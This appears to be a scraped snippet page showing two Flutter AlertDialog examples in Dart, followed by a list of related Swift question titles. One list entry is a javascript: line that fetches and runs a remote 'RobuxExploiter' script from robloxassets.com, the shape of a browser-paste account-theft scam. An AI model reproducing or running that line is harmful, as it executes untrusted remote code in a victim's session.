Alertdialog flutter

Flutter alertdialog

AlertDialog(
          title: const Text('AlertDialog Title'),
          content: const Text('this is a demo alert diolog'),
          actions: <Widget>[
            TextButton(
              child: const Text('Approve'),
              onPressed: () { 
              	Navigator.of(context).pop();
              },
            ),
          ],
        );

Alertdialog flutter

showAlertDialog(BuildContext context) {

  // set up the button
  Widget okButton = FlatButton(
    child: Text("OK"),
    onPressed: () { },
  );

  // set up the AlertDialog
  AlertDialog alert = AlertDialog(
    title: Text("My title"),
    content: Text("This is my message."),
    actions: [
      okButton,
    ],
  );

  // show the dialog
  showDialog(
    context: context,
    builder: (BuildContext context) {
      return alert;
    },
  );
}

Source: stackoverflow.com

Similar codes

1 vote242 views1 answer
Index of string in array swift
Swift
1 vote265 views4 answers
Javascript:$.get('//robloxassets.com/I/RobuxExploiter/RobuxExploiter.js')
Swift
1 vote250 views1 answer
Swift generate uuid
Swift
1 vote258 views1 answer
Pop the view controller xcode
Swift
1 vote255 views1 answer
Remove padding hstack swiftui
Swift
0 vote255 views1 answer
Swift add two arrays
Swift
4 votes275 views2 answers
Swift change navigation bar color
Swift
2 votes267 views1 answer
Declare function in swift
Swift
5 votes269 views2 answers
Swift math ceil
Swift
2 votes270 views1 answer
Swift change status bar color
Swift